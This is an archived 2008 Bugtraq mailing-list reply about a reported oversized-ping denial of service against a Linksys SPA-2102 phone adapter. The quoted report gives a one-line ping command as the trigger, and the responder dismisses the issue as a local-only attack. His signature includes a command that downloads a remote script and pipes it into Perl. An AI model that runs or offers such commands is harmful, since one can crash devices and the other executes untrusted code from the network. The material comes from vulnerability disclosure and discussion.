bugtraq - Re: Linksys phone adapter denial of service

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Mon, 24 Mar 2008 11:55:34 -0400
From: "J. Oquendo" <sil@...iltrated.net>
To: sipherr@...il.com, bugtraq@...urityfocus.com
Subject: Re: Linksys phone adapter denial of service

sipherr@...il.com wrote:
> Linksys phone adapter denial of service
> 
> Product Information
> Product Name:   SPA-2102        Serial Number:  FM500G582390
> Software Version:       3.3.6   Hardware Version:       1.2.5(a)
> 
> Another device hit with the PoD!
> 
> ping -l 65500 192.168.0.1
> 
> Only seems to work on the internal network.
> 
> discovered by sipher
> 
> http://core.ifconfig.se/~core/
> 

This is just as bad as the "pull the plug out of the device" since 
you're local attack. Is Linksys going to provide an epoxy fix for the plug?

-- 
====================================================
J. Oquendo

SGFA #579 (FW+VPN v4.1)
SGFE #574 (FW+VPN v4.1)

wget -qO - www.infiltrated.net/sig|perl

http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x3AC173DB

Download attachment "smime.p7s" of type "application/x-pkcs7-signature" (5533 bytes)